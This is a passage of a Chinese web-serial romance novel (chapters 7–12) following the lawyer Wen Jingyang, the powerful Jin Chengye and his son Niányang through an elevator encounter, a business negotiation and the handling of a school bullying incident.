雨还在下,但比刚才小了些。 他知道温静阳来了,所以故意守在路上等着单独见她。 他试着变可怜一些,然后她果然靠近他了。 父亲教过他,这种行为叫做……有效的陷阱和狩猎。 父亲说的很对。 他摸了摸胸口的位置,那里放着她的名片。 她的声音很好听。 软软的,甜甜的。 她身上的味道也很好闻。 像晒过的棉花,又混着点甜。 让人想要靠近。 想要被她抱着。 他不知道这种感觉是什么。 只觉得心口涨涨的,有些酸。 拐过一道月亮门,他的脚步停了下来。 前面站着一个人。 男人高大的身影立在廊下,手腕上带着檀木念珠。 靳念旸低下头,语气平静地唤了一声:“父亲” 靳承野没有回应。 他只是站在那里,凤眼淡淡地看着自己的儿子。 过了一会他开口:“过来。” 靳念旸走了过去。 靳承野将手放到了靳念旸的肩膀上。 那只手的重量压下来的瞬间,靳念旸整个人都僵住了。 “靳念旸。” 男人的声音低沉,听不出情绪,却像是有千斤重。 “别忘了我跟你说过的话。” “你的母亲并不爱你。” 就像不爱他一样。 靳念旸的脸色瞬间白了。 他抬起头,看着父亲那张冷峻的面容,嘴唇动了动,却什么也说不出来。 靳承野没有多看靳念旸。 他的手从男孩肩膀上移开,然后转身,向着佛堂的方向走去。 脚步声在雨声里渐渐远了。 …… 回廊下,靳念旸独自站在原地。 他低下头,用力按了按心口处的位置,隔着布料感受着那张名片的硬度。 以及他的心跳。 雨还在下。 但他的眼眶始终是干的。 父亲说过,靳家的男人不能哭。 他只是死死地按着胸口,站在黑暗里,一动不动。 第7章 四百七十三块六毛 【阳阳!】 【极光那边表示想谈合作】 【他们说上次那个律师太强了!】 【点名要你去!】 清晨的阳光才刚洒进来,温静阳就被手机接连发来的消息震醒了。 发消息的是赵悦,和温静阳都是明德律师事务所的合伙人。 上次为了帮远航,她可是把极光财报里的漏洞翻了个底朝天,把他们的估值压得死死的。 没想到对方居然主动示好? 温静阳起身换衣服。 手机又弹出来一个新消息。 【你上次带来的那个栗子蒙布朗,我女儿吃了一口天天在家吵着要!】 【你来律所时再帮我带一个好不好?】 温静阳闻言,微微勾唇,然后回了一个: 【好】 …… 极光科技总部。 早高峰刚过,来往的人不多。 温静阳乘电梯打算前往谈判的六十七层会议室。 就在电梯门即将合拢的那一刻,一只修长的手从外面伸了进来。 手腕上带着一串檀木念珠。 电梯门重新自动打开,温静阳就看到了电梯外的靳承野。 他整个人冷峻得像块千年寒冰,可眉眼间又透着几分说不清道不明的……危险。 男人似乎也第一时间就看到她,那双幽深的凤眸上下打量了一眼温静阳。 她穿着一身米白色衬衫与同色系包臀裙,清纯中带着几分禁欲。 偏偏那张脸杏眼含水,面容温软,瞧着就是乖软得很的。 靳承野的眸色深了几许。 小姑娘穿什么都是勾人得很。 温静阳被那目光盯得难受,下意识地拉了拉裙子。 她低头看了看自己的衣服,淘宝三百块钱买的简单的职业套装,也没哪不得体的…… 莫不是太廉价了?所以惹得出入都是高定的靳家家主多看了几眼? 温静阳思维正发散,就看到靳承野走了进来。 狭小的空间顿时压迫感十足。 电梯往上升。 数字跳动着。 温静阳下意识地往电梯角落里缩了缩,见对方看过来,温静阳立刻乖乖站好。 她笑得甜软,礼礼貌貌乖乖巧巧的打招呼:“靳先生,早上好。” 靳承野看着温静阳,没说话。 空气好像尴尬凝滞了一瞬。 温静阳眼皮子一跳,硬着头皮继续道:“您看起精神不错……” 对方没说话。 温静阳硬着头皮继续补充:“容光焕发……” 在靳承野持续的目光压力下,她软软糯糯地语调又乖乖蹦出几个好听的四字成语,直到刚说完“和蔼可亲”时,男人打断了她: “温小姐。” “在!”温静阳立刻站直了。 反应过来后,她露出一个甜甜笑容:“靳先生,怎么了?” 靳承野的目光落在她软润的唇上,然后移开,目光落在跳动的楼层数字上。 “你给的钱。”他随意站在电梯中央平淡开口:“我数了一下。” 温静阳的笑容僵在脸上。 靳承野继续说,语调依旧波澜不惊: “三张一百。两张五十。五张十块。二十三张一块。还有……” 他顿了顿 “六张一毛的。” 温静阳:“……” “一共四百七十三块六毛。” 男人终于侧过头来,那双凤眼淡淡地扫过她。 挺好的,有零有整的。 温静阳的脸腾地红了。 那钱是她去了平日里备用的现金,自然各个面额的现金都有一些。 她当时急着脱身,一股脑就把包里的钱全取出来了。 不然总不能说“先生麻烦您出示一下付款码给我,我打算给你转点嫖资当负责”吧? 她咬了咬唇,一脸无辜地看着靳承野,声音软得能滴出水来: “靳先生,那个……已经是我的全部身家了。” 这是真的,她拿出钱后,包里就一分都没了。 她眨了眨眼,一脸“真的真的”的乖巧模样。 靳承野的目光落在她那张可爱的小脸上。 凤眼微微眯起,声音依旧平淡。 “原来……我一晚上只值这个数。” 温静阳:“……” 咦,他在意的是这个吗? “那,那我再补给您一些?” 靳承野:“补?” 男人复述了一遍这个字,轻笑一声:“呵……” 然后他往前迈了一步。 温静阳往后退了一步。 她本就缩在角落,这一退,背后直接递上了冰凉的电梯壁。 男人的手撑在她身侧的墙上,低下头,声音压得很低: “温小姐觉得够吗?” 檀木的香气混着男人身上清冽的气息扑面而来。 温静阳的身体僵住了。 她能感觉到他的呼吸就落在自己的发顶上。 热的。 电梯里的数字在跳动着。 三十三……三十四…… “靳先生……”她的声音有些发颤,却还是一副乖巧甜软的模样。 “您是最最大度的呢。” “断然不会跟我计较的,对不对嘛?” 最后一个字被她说得勾起个可爱的小尾音,声音软得甜人。 靳承野垂眸看着身下只到他胸口的女孩。 她杏眼弯弯,笑得甜丝丝的,像只讨好的小猫。 那张不安分的小嘴,又在哄人。 但是…… 他凤眸幽幽地看着她,喉结不自觉地滚动了一下。 过了几秒,靳承野才轻轻“嗯”了一声。 然后突然开口: “转账。” 声音有几分不易察觉的沙哑。 温静阳愣了一下:"啊?" “补上。”靳承野的斯条慢理地收回了手,重新站好,他的声音依旧平淡,“剩下的。” 温静阳:“……” 大名鼎鼎的京港市的天,现在正在跟她要嫖资。 这都什么事嘛。 “好,好的……” 纵使心里百转千回,她也不敢耽误这位靳家家主,赶紧从包里掏出手机。 打开微信,扫了靳承野递过来的二维码。 刚点两下,屏幕上就跳出一个提示: 【该用户在黑名单中】 温静阳:“?” 她什么时候把他拉黑了? 她才刚认识他啊! 她抬起头,对上靳承野的目光。 男人的凤眼轻描淡写地扫过她手机的屏幕,没说什么,只是拨动了一下手腕上的佛珠。 拨得温静阳心里也咯噔一下。 她连忙低头操作,手指飞快地点着屏幕。 “这,这……可能是点错了……” 她一边解释,一边把他从黑名单里放了出来。 然后重新添加好友。 申请通过的那一刻,靳承野的手机震动了一下。 他低头看了一眼。 没有任何表情。 只是眸子里多了种温静阳看不懂的情绪。 温静阳犹豫了一下,然后硬着头皮开口:“那个,靳先生……” 第8章 你之前认识养父? 温静阳结结巴巴道:“要,要补多少钱呀?” 靳承野抬起头,刚要开口。 “叮——” 电梯到了。 六十七层。 电梯门缓缓打开。 温静阳几乎是如蒙大赦地松了口气。 却在下一秒僵住了。 电梯外是靳白和靳娇娇。 靳娇娇正搂着靳白的胳膊,整个人贴在他身上,亲昵极了。 两人本在低声说着什么,靳娇娇笑得眉眼弯弯的。 但在看清电梯里的人后…… “养,养父!” 靳娇娇的脸色“唰”地白了。 她几乎是弹射一般松开了靳白的手臂,整个人往后跳了半步。 刚才还满是娇媚笑意的脸此刻只剩下惊慌。 靳白的反应却快得多。 他神情不变,依然带着浅笑,桃花眼不慌不满地从靳娇娇身上移开,目光在电梯里扫了一圈,掠过靳承野,又落在了养父身旁的温静阳身上。 他的目光停顿了一秒。 然后他含笑微微躬身,神情自然而然地恢复了恭谨:“养父。” 姿态放得极低。 温静阳在心里给他这变脸的自然度点了个赞。 这坦然的模样,看着完全就是普通关系比较好的兄妹。 不愧是靳家养出来的。 靳娇娇也反应过来,连忙跟着靳白躬身行礼。 靳承野没说什么,只是从电梯里走了出来。 温静阳识趣地跟在他身后。 她原本想走开,但那双凤眼淡淡地扫了她一眼,她的脚步就自动停了下来。 乖乖站在原地。 靳承野的目光重新落在了靳娇娇身上。 那眼神谈不上多凌厉。 只是平静。 但靳娇娇的脸更白了。 她自然是看明白了养父平静的质问。 她的手指绞在一起,声音都在发抖:“养、养父,我……” “是,是这边有个代言想找我!所以我来……来看看!” 她说得磕磕绊绊的。 眼睛都不敢看靳承野,只敢盯着地面上自己的脚尖。 靳承野没有多问。 他的目光从靳娇娇身上移开,落在了靳白身上。 “极光正在筹备上市。” 他的声音低沉平稳。 “对外宣传,要慎重。” 只是普通的一句话。 语气也听不出什么情绪。 但靳白的神情却微微一顿。 他的目光不动声色地扫了靳娇娇一眼。 审视。思量。 然后他微微低头:“是。” 靳承野没再说什么,微微看了一眼温静阳后,从容迈步离开了。 温静阳看着他离去的方向。 咦? 怎么和她要去开会的方向一样? 再想起他刚刚嘱托靳白的话…… 温静阳正想跟着离开,却被靳娇娇一把拉住了。 靳娇娇伸着脖子看靳承野离开后,立刻收起刚刚那副诚惶诚恐的模样,啪叽直接又贴靳白身上了。 “嫂子,追我哥追到公司来了?” 温静阳:“……?” 她没有和靳娇娇争辩,反而对靳娇娇甜甜笑了笑,便将目光落到了靳白的脸上。 这好看呐。 这脸,这嘴,这鼻子。 尤其那双潋滟的桃花眼。 真好看。 靳娇娇见温静阳不理她,更来劲了。 她故意把身体往靳白身上贴得更紧,声音娇滴滴的:“嫂子,别总围着男人转,女人还是该有点事业的。” “学学我,等这次代言费下来,就可以买最新款的Birkin了。”她说的可得意了。 靳白却在这个时候开口了。 “这次代言先取消吧。” 被光速打脸的靳娇娇愣住了:“什、什么?” 靳白的语气很平淡:“这是养父的意思。” 靳娇娇的脸一下子涨得通红。 温静阳嘴角不自觉地扯了扯,想笑,但是憋住了。 靳娇娇看看靳白,又看看一旁安静站着的温静阳。 那可是七位数的代言费! 她的包!她的Birkin! 还是当着这个女人的面下她面子! “哥哥!”靳娇娇跺脚。 靳白终于侧过头来看她。 他的桃花眼微微眯起,唇角勾着一抹似有若无的笑意。 他微微俯身,就在他的未婚妻温静阳面前,唇轻轻蹭过靳娇娇的唇边。 动作亲昵暧昧。 “乖,回去再说。” 他的声音低低的,带着几分哄人的意味。 靳娇娇的脸顿时红了。 “那……那你今晚要来找我……”她的声音小了下去,眼神却黏糊糊地缠在靳白身上。 “好。”靳白漫不经心地应了一声。 靳娇娇得意地看了温静阳一眼,然后扭着腰肢走了。 面对这对旁若无人的男女,温静阳纹丝不动。 她只是乖乖站着,杏眼弯弯地看着靳白。 从头到尾,她的目光就没从他脸上移开过。 靳白重新看向温静阳,只见女孩那双漂亮干净的眼睛里,认认真真地倒映着自己的模样。 她没有像其他女人一样泼妇骂街。 她只是安安静静地站着。 杏眼水润润的,乖乖巧巧地看着他。 像只温顺的小猫。 靳白的心莫名软了一下。 一种酥酥麻麻的感觉从心口蔓延开来。 他的声音不自觉地放柔了几分:“静阳,你怎么会在这?” 莫不是真的来找他的? 温静阳无视了他称呼的变化,眨了眨眼,软着声回答:“我是明德律师事务所的律师。” “今天来和极光谈合作。” 靳白一愣。 竟然不是来找他的? 他压下心底的不适感,回忆女孩的话。 明德? 那个差点把极光私募搅黄的律所? 而那个把他们律师团队搅得人仰马翻的律师……就是眼前这个软软甜甜的小姑娘? 靳白重新打量了一眼温静阳。 明明这么乖的…… 他的目光里多了几分兴味。 有意思。 靳白没有继续这个话题,而是提起了另一件事: “对了……” 他的声音慢悠悠的。 “昨天晚上,你的东西怎么会忘在了养父那里……” 温静阳的睫毛颤了颤。 靳白的桃花眼微微眯起,审视着她。 “你之前认识养父?” 第9章 一千六百五十二天 温静阳摇了摇头,杏眼清澈见底:“不认识。” 她的声音软软的,语气坦然。 “是靳先生捡到了我的东西,所以还给我。” 靳白盯着她看了一会。 她的眼神没有任何闪躲。 只是乖乖地,软软地,看着他。 那双杏眼里,好像只装得下他一个人。 满眼都是他。 靳白的心又软了。 “好。” 他轻笑一声,没有再追问。 他的目光扫过温静阳那张可爱的小脸。 她看他的眼神,可骗不了人。 分明就是喜欢他喜欢得不行。 她这么乖,这么爱他,怎么会骗他呢? 靳白伸出手,轻轻揉了揉温静阳的头发。 “去忙吧。” 他的声音宠溺纵容,听着真是个好伴侣。 只是他对所有女人都这样。 温静阳乖乖地点了点头。 然后转身,朝着会议室的方向走去。 她的脚步轻快。 心情也轻快。 靳白这张脸,真是百看不厌。 虽然那道断眉有些碍眼。 但……瑕不掩瑜嘛。 温静阳的笑容愈发甜了。 …… 会议室的门半掩着。 温静阳推门而入。 然后她果然从一群衣冠楚楚的社会精英中,看到了坐在主位上的靳承野。 男人檀木念珠搭在腕间。 凤眼淡淡地看着她。 “温律师。” 靳承野的声音低沉。 “请坐。” 温静阳:“……” 这幅公事公办的模样,丝毫不见电梯里拦着她要嫖资的那副嘴脸。 温静阳看了一眼唯一空着的靳承野右手边的位置。 硬着头皮在一群人的目光中坐到了位置上。 她甚至能闻到身旁男人身上淡淡的檀木香。 对面是一个穿着宝蓝色西装的男人,在一群黑色西装中格外显眼。 对方扬眉对着温静阳点了点头,温静阳也礼貌地笑了笑。 然后就听到靳承野平淡的声音打破了安静:“开始吧。” …… “……第三方审计报告里的研发费用,如果严格按照IFRS准则,恐怕要打个对折。” 空旷的会议室里,回荡着女孩软软糯糯的嗓音。 靳承野坐在主位上,修长的手指指尖轻轻敲着桌面上的文件,目光却落在身旁这个乖巧的小姑娘身上。 她衬衫领口规规矩矩地系到最上面一颗扣子,包臀裙的长度刚好在膝盖上方一寸。 看着禁欲得很。 可她说起话来一副乖巧温顺的模样,像只讨食的猫儿。 听得人赏心悦目。 前提是能忽视她用最乖的语气,把极光请来的四大所的律师辩的哑口无言。 除了靳家特聘的私人律师景砚修能说上几句。 其他几个极光的律师都在满头大汗地疯狂翻着手里的资料,试图找出反驳的切入点。 几人时不时地偷偷看眼主位上的靳承野。 生怕这位爷觉得高薪请他们来是吃干饭的。 他们也没办法。 这小姑娘小小软软的一只,谈起事来,凶得很。 靳承野的唇角几不可察地微微勾起。 可爱。 想着,靳承野慢慢抬手,修长的手指屈起,轻轻叩了叩桌面。 “哒”、“哒”。 简单两声。 会议室里所有的声音戛然而止。 那个准备了半天/正打算开口反驳的极光的律师张着嘴,话被硬生生咽了回去。 所有人的目光都落到了主位上。 这是这位爷要亲自下场了? 景砚修坐在角落里,饶有兴味地支着下巴。 他跟着靳承野这么多年,太清楚这位爷的谈判风格了。 狠厉。 压迫感十足。 说一不二。 等下别把人家小姑娘吓哭了才好。 靳承野的凤眼落在温静阳身上。 神情淡漠得很。 “温律师。” 他的声音低沉平稳。 “履职回避,你打算怎么处理?” 温静阳的动作顿住了,她握着笔的手指微微收紧。 远航科技的实际控制人是靳家,而她是靳白的未婚妻。 确实得考虑利益冲突和回避的问题。 她之前不知道极光是靳家资本控制的公司,一下子疏忽了这一点。 几个律师见温静阳卡住了,顿时松了口气。 总算不至于在一个小姑娘面前丢尽脸面。 就在所有人都以为靳承野会乘胜追击的时候。 男人却微微勾起了唇角。 “温律师列的条件很好。” 他的声音平淡。 “极光这边可以签。” 什么? 对面的律师团队的脸色都变了。 签? 按照温静阳列的条件签的话,极光在这轮私募里简直是割肉让利! “先生……”有个年长的律师想开口。 靳承野的目光淡淡扫过去。 那律师的话瞬间卡在了喉咙里。 他连忙低下头,不敢再多言。 靳承野收回目光,继续道: “但是需要加一条。” 他的凤眼落在温静阳身上。 幽深的眸子里倒映着她那张微微发怔的小脸。 “下一轮极光的私募,我要求由温律师来办理。” 会议室里一片死寂。 景砚修挑了挑眉。 原来如此。 搞了半天,这位爷是想直接把人家律师给挖了。 温静阳怔怔地看着靳承野。 她没想到这场谈判会是这个走向。 “这……”她犹豫了一下:“我需要问一下甲方的意见。” “可以。”靳承野的声音依旧平淡,“三天时间。” 温静阳看着男人,有些懵。 这个男人到底在打什么主意? 但还是点头:“好。” …… 极光大厦顶层。 落地窗前。 靳承野拿着手机站在那里,俯瞰着楼下来来往往的人群。 午后的阳光透过玻璃洒进来,在他身上投下一片明暗交错的光影。 他视力很好,一眼就锁定了那个小小的、米白色的身影。 “怎么样?”靳承野没有回头,声音平淡。 景砚修站在他身侧:“检查报告从南水城医院调出来了,她确实失忆了,然后她的竹马……” 注意到靳承野的视线扫过来,景砚修立刻换了个说法。 “咳,她的邻居火灾遇难,之后不知道出于什么原因她同意了和靳白少爷联姻。” 景砚修也跟着看向窗外。 他想起了当年小姑娘抱着书,跟他讨论程序正义和结果正义的场景。 景砚修感叹了一句:“她变了,但是有些东西没有变。” 一样地倔。 靳承野不自觉地轻轻摩挲着手里手机的屏幕。 他还记得,暴雨夜的那个晚上。 他看到手机上那个红色感叹号的时候,心里的感受。 一千六百五十二天。 他终于重新进入了她的列表。 过了一会,他开口: “猫儿在外面淋雨了,自然会知道回家的。” 景砚修闻言微微挑眉。 他没有多问。 只是看了一眼靳承野那张冷峻的侧脸。 这位爷啊…… 当年那小姑娘跑了之后,他一个人在那间屋子里待了整整三天。 出来的时候,满地都是碎掉的东西。 只有那串贝壳风铃。 完好无损。 第10章 有个弟弟来找你 “不好意思,栗子蒙布朗已经卖完了。”店员露出一个歉意的笑容。 这家藏在巷子深处的手工蛋糕店。 “云间手作”。 之前她给赵悦女儿吃的栗子蒙布朗,就是在这买的。 听到店员的话,温静阳小小地叹了口气。 谈判耽误久了,来晚了。 就在这时。 “温律师。” 一个声音从身后传来。 温静阳回过头。 只见一个穿着黑色西装的男人站在不远处。 他的手里提着两个印着“云间手作”logo的纸袋。 温静阳愣了一下,随即认出了他。 “魏助理。” 她礼貌地点了点头。 魏岐走上前来: “沈总今天去律所,听赵律师提起,拜托您帮忙买蛋糕。” “这家店生意很好,沈总想着您今天去极光谈判,等谈完蛋糕估计已经卖完了。” 魏岐说着将蛋糕递给温静阳。 “所以吩咐我提前过来买好,在这里等您。” 魏岐是沈述昂的助理,而沈述昂是远航科技的东家,也算是她的甲方。 温静阳有些不好意思地接过了蛋糕:“让沈总费心了。” 见对方把另一个蛋糕也递了过来,她愣了愣:“只用一个就行了。” 魏岐微微低头,声音恭敬:“沈总特意吩咐过。” “另一个是专门给温律师您买的。” 温静阳的动作顿住了。 专门给她买的? 她和沈述昂并不熟,只知道这人为人处事很周到妥帖。 温静阳收下蛋糕。 这么好?这什么神仙甲方? “多谢沈总,也辛苦你了,魏助理,我把钱给你。” 魏岐微微低头,看着乖巧道谢的女孩,语气也放轻了一些:“沈总说,他和店主是朋友,温律师以后来,他可以帮您预留。” 温静阳眨了眨眼。 怎么感觉…… 有点受宠若惊呢。 转完钱后,温静阳想起今天白天谈判的事情,开口:“魏助理。” “关于极光那边的事情,我有些事需要和沈总商量。” “不知道沈总什么时候有时间。” 魏岐微微沉吟:“具体行程需要等沈总确认,我会转告沈总。等他有空,会通知温律师。” 温静阳点头:“谢谢。” …… 明德律师事务所。 午后的阳光明媚。 前台空荡荡的,只有一个扎着双马尾的小姑娘坐在沙发上,腿晃啊晃的,手里抱着一只毛绒兔子。 小姑娘叫赵绵绵,今年六岁,是赵悦的女儿。 圆圆的脸蛋,大大的眼睛,看着就讨人喜欢。 听到门口的动静,小姑娘抬起头来。 一看到是温静阳,眼睛顿时亮了。 “阳阳姨姨!” 她从沙发上跳下来,抱着兔子跑了过来。 温静阳蹲下身,把手里的蛋糕袋递给她:“绵绵,这是给你带的,妈妈呢?” “妈妈有事出去啦。”赵绵绵接过蛋糕袋,探头往里看了看,顿时欢呼起来:“是蒙布朗!” 她张开小手臂抱住了温静阳,抬起头,眼睛弯成了两个小月牙:“谢谢阳阳姨姨!” 温静阳轻笑着伸手揉了揉她的头发,声音软软的,不自觉地带着哄人的语调:“不用谢哦。” 就在这时。 温静阳的后背突然一阵发凉。 像是有人在看着她。 她下意识地回过头。 身后是空荡荡的走廊。 没有人。 温静阳微微皱眉。 是错觉吗? “对了!”赵绵绵突然松开她,仰着小脸说道:“姨姨,刚刚有个弟弟来找你!” 温静阳一愣:“"弟弟?” “嗯!”赵绵绵认真地点头,“一个很漂亮的弟弟,穿着黑色的衣服,说要等姨姨回来。” “我让他在会客室等着了!” 温静阳的眉头微微蹙起。 弟弟? 来找她的? “谢谢绵绵。”她站起身,朝会客室的方向走去。 赵绵绵抱着兔子和蛋糕跟在她身后,小短腿迈得飞快。 温静阳推门进入会客室。 里面空荡荡的。 没有人。 “咦?”赵绵绵探进小脑袋,一脸疑惑:“弟弟呢?他明明说就在这里等着的……” 温静阳的目光慢慢扫过会客室。 一切都很正常。 只是…… 她的视线落在了会客室后门上。 门开着。 她又看向会客室侧面的玻璃墙。 那面玻璃墙正对着大厅。 刚才她蹲在那里和绵绵说话的地方,从这个角度看过去,一览无余。 温静阳站在原地,心里升起一股奇怪的感觉。 是谁来找她? 又为什么走了? …… 夜色渐浓。 靳家老宅。 书房里是暖黄的光晕。 靳承野手里拿着一份文件,垂眸看着。 万凛敲门后而入,他在书桌前站定,微微躬身: “先生。” 靳承野没有抬头:“说。” “小少爷一直没有回来。” 靳承野翻动文件的手指顿了一下。 万凛继续道:“小少爷去了明德。” 书房里安静下来。 窗边的贝壳风铃被夜风吹动,发出细碎的声响。 “叮铃……叮铃……” 过了一会,靳承野才开口,声音平淡:“去找温小姐了?” “是。” 沉默。 靳承野慢慢放下手里的文件。 他的凤眼落在窗边那串贝壳风铃上。 贝壳在夜风里轻轻晃着,声音清脆。 像是很多年前,有个女孩蹲在海边,一颗一颗捡起贝壳时的笑声。 “随他去吧。” 他的声音低沉,听不出什么情绪。 万凛微微一怔,随即低头:“是。” 他转身离开。 门轻轻合上。 书房里重新陷入安静。 靳承野靠在椅背上,凤眸幽深地望着那串风铃。 温静阳。 这三个字在他的舌尖滚了滚,然后咽了下去。 第11章 你可以抱抱我吗 下午的时候,赵悦就来把女儿接走了。 温静阳一直在整理谈判后的资料。 律所的走廊渐渐暗了下来,只剩下温静阳一人。 九点了。 温静阳刚关上律所的门,正打算打车回去。 然后她看到了。 台阶下。 一个小小的身影坐在那里。 黑色的外套,黑色的头发。 背对着她,一动不动。 像是一尊小小的雕像。 温静阳的脚步顿住了。 “靳念旸?” 她认出了那个身影。 小男孩听到声音,慢慢转过头来。 路灯的光照在他脸上。 温静阳的动作顿住。 那张精致的小脸上,左边脸颊青了一大块,眼眶下方有一道淤青,嘴角还破了皮,渗出一点暗红色的血迹。 按理说靳念旸与她根本不熟,温静阳应该只是像普通人一样可怜一下,而不会有太大的反应。 可是不知道为什么看到男孩受了这么重的伤,温静阳的心里像是被揪住了一般,心疼得不行。 她历来甜软的表情一顿,然后慢慢散去,杏眼里慢慢多了一层寒意。 温静阳走到靳念旸面前,然后蹲下,她伸手轻轻碰了碰男孩脸上的伤痕。 “这是怎么了呢?”她的声音很轻,像是怕惊扰了什么,温柔中带着被按下的愤怒。 靳念旸没有说话。 他就那样安静地看着她。 那双和靳承野如出一辙的黑眸里,平静得不像是个受了伤的孩子。 不哭不闹。 明明是这么乖的孩子。 温静阳只觉得怒气在积累,但是她强行让自己冷静下来。 她的语气放得更轻柔了,像是哄小动物一样:“告诉姐姐好不好呀?” 小男孩长长的睫毛轻轻一颤,然后垂下眼睛,那双黑沉沉的眸子落在地面上。 沉默了好一会。 “同学。” 他的声音很轻,语调依旧是那种超出年龄的平淡。 他开始平淡地复述: “他们说我是没有妈妈的孩子。” 温静阳轻轻触碰男孩的指尖微颤。 她想起靳家管家福伯说过的话:“小少爷的母亲……是大宅里的禁忌。” 这是用他的身世霸凌他。 温静阳感觉自己的心又被小刀刮了一下。 …… 律所里。 温静阳正在帮男孩上药:“吹吹就不疼了哦。” 她的动作很轻,很温柔。 男孩什么都没说,只是昂着头,乖巧地看着她。 温静阳的上药的手顿了顿,看得心疼。 她叹了口气:“我帮你联系你的父亲。” 小男孩的身体微微绷紧了。 他的黑眸里闪过一丝不易察觉的情绪。 “父亲……会生气的。” “为什么?” “因为我打输了。” 温静阳:“……” 所以靳承野到底怎么教孩子的啊?! 她深吸一口气,声音放得更软了: “乖,这不是输不输的问题。” “你受伤了,你的爸爸有义务出面。” 靳念旸闻言沉默了一会,然后有些小心翼翼地看着温静阳:“那你可以抱抱我吗?” 温静阳愣住:“什么?” 靳念旸没有再说话,而是沉默了,然后垂下了眸子。 温静阳反应过来,想起了白天那个来找她又消失的“弟弟”。 还有那扇打开的后门。 以及那面正对大厅的玻璃墙。 这孩子…… 她伸出手,轻轻将靳念旸揽进怀里。 小男孩的身体明显僵了一下。 温静阳轻轻拍着他的后背,声音软软的,带着安抚的意味:“没事的,我陪着你呀。” 靳念旸埋在她怀里,小小的身体一动不动。 他能闻到她身上的味道。 香的,甜的,暖的。 很安心。 他的手指悄悄攥紧了衣角。 过了好一会,他才闷闷地开口: “温姐姐。” “嗯?” “我可以叫你……阳阳姐姐吗?” 温静阳愣了一下,随即轻轻笑了。 她的声音依旧软软的: “当然可以。” 小男孩埋在她怀里,唇角微微勾起。 很快又抿平了。 他不想让她看到。 …… 微信联系人里,靳承野的头像安安静静地躺在那里。 一片漆黑的头像。 什么也看不出来。 温静阳没有靳承野的手机号,她犹豫了一下,最终拨通了微信电话。 …… 等温静阳把事情的经过和靳承野说完后。 电话那头安静了很久。 只有轻微的、规律的声响传来。 “哒……哒……” 像是指尖敲击桌面。 又像是佛珠拨动。 温静阳下意识地屏息等着,不知道过了多久,男人低沉的声音终于响了起来。 “我知道了。” 只是简简单单的四个字。 听不出任何情绪。 温静阳的眉头微微蹙起。 她想起靳念旸那张精致小脸上的淤青,还有他说“父亲会生气,因为我打输了”时的语气。 她带了几分替孩子说话的意味:“是别人打他的。” 她的声音不自觉地软了下来:“你不要怪他。” 像是为了孩子和丈夫撒娇的妻子。 电话那头,男人沉默了两秒,然后低低地“嗯”了一声。 似乎多了些温静阳听不懂的情绪。 然后就听到男人继续道:“明天我会去学校处理这件事。” 温静阳松了口气:“好,那我送他……” “温律师。”靳承野打断了她,“维权你应该比较擅长。” “希望你能一起去。” 温静阳她犹豫了一下,她想起那个小小的、抱着伤独自坐在台阶上等她的男孩。 “好。”担心下,她没来得及多想。 靳家那么大的私人律师团队,真需要律师的话,哪轮得到她? …… 次日上午。 京港市中城国际学校。 温静阳是被等在门口的万凛领进学校的。 这是京港市最顶尖的贵族学校,外人进出审查严格。 校训是上世纪书法泰斗亲笔题下的,装修低调奢华,荣誉墙是各种有分量的国际奖项。每个遇到的教职工都彬彬有礼,不见丝毫敷衍。 光鲜亮丽的地方却发生了这种事。 …… 万凛推开校长室的门后,温静阳走了进去。 入眼的第一个画面,是正在鞠躬的校长,正满头大汗地连连赔不是。 “靳先生,这件事确实是学校的疏忽,我们一定……” 他看到了跟着万凛进来的温静阳后,停下了话。 温静阳的视线扫过办公室。 左边的沙发上,坐着一对夫妻。 男女衣着都是高奢品牌,但额头上全是汗,他们中间的夹着一个小胖子,肥嘟嘟的脸上一副要被吓死的模样。 而另一边。 靳承野和靳念旸一大一小地坐在那里。 两人的表情如出一辙。 冷漠。 淡然。 还有几分高高在上。 一点都不像需要她这个律师来维权的人。 靳念旸在看到温静阳的瞬间,和他父亲如出一辙的黑眸明显亮了一些。 像是沉在水底的星星,突然浮到了水面上。 而靳承野靠在沙发上,手腕上的檀木念珠在指尖慢慢转动。 他的凤眼落在温静阳身上。 视线从她的发顶开始,慢慢描过她的眉眼、唇瓣、颈项。 一寸一寸地。 然后又收了回去。 脸上没有任何表情。 温静阳正要开口回应:“您好,我是……” 对面沙发上的女人在看到温静阳时,却突然瞪大了眼睛,表情又惊又疑: “你是那个把人捅进医院的……” 第12章 我只是想让她抱抱我 话说到一半,女人似乎意识到了什么,嘴唇哆嗦着连忙闭上。 办公室里的空气仿佛凝固了。 温静阳的神情没有任何变化。 她只是甜甜地笑了笑。 乖巧得很。 靳承野的目光落在了那个女人身上。 幽深的凤眸里看不出什么情绪,手上的念珠却转得慢了一些。 “哒……” 一声轻响。 那个女人的身体明显抖了一下。 校长擦了擦额头的汗,正要开口打圆场。 就在这时。 “阳阳姐姐。”靳承野突然轻轻唤了一声。 校长的话被憋了回去。 靳承野听到这个称呼,拨动念珠的手指微微一顿,神情淡漠地扫了一眼身旁的儿子。 而坐在对面的小胖子在听到靳承野说话后,身子一抖,突然挣开了父母的手。 他指着靳念旸,带着哭腔尖声喊道:“是他活该!” “谁让他没有妈妈的!” “他要是有妈妈就不会被欺负……” “闭嘴!”小胖子的父母两人脸色瞬间白了,手慌脚乱地联合捂住了儿子那张夺命嘴。 小胖子的声音被捂得呜呜咽咽的。 但那些话已经说出来了。 办公室里死一般的寂静。 校长的脸惨白惨白的,感觉下一秒就要晕过去。 小胖子的父亲只觉得眼前发黑。 先是他老婆说出了疑似触犯靳家人秘密的话。 又是他儿子指着靳家这位爷的命根子骂。 他感觉自己已经可以准备过头七了! 靳承野没有说话,只是安静地坐在那里,但他手里转动的佛珠停了下来。 他扫了一眼那瑟瑟发抖的一家三口,斯条慢理地把佛珠重新戴回手腕上。 “温律师,你觉得应该怎么处理?” …… 学校整改公示、霸凌者留档、公开道歉和教育。 温静阳的语气依旧是那种甜软的,却又条理清晰。 公正、合法、专业。 她说完,抬起头看向靳承野。 那双杏眼清清澈澈的,带着几分询问的意味。 靳承野看了她一眼。 那双凤眼里闪过一丝不易察觉的笑意。 “就按温律师说的办。” 这话一出,那对夫妇几乎是痛哭流泪得快下跪了,校长也松了口气。 毕竟要是按照靳家平日里处理的风格,他们不死都得脱层皮。 见事情差不多了,温静阳看了看时间。 “靳先生,律所还有事,我先离开了。” “已经安排了人送你回去。”靳承野淡淡点头,目光却一直看着她。 “有劳。”温静阳点头后,对着一旁的靳念旸笑了笑然后离开了。 靳念旸的目光追随着她的身影,一直到她消失。 …… 靳家的车里。 车窗外的风景飞速掠过。 车内很安静。 靳承野坐在后座,阖眼养神。 靳念旸坐在他旁边,身体绷得笔直。 不知过了多久,男人的声音突然响起。 “你是故意的。” 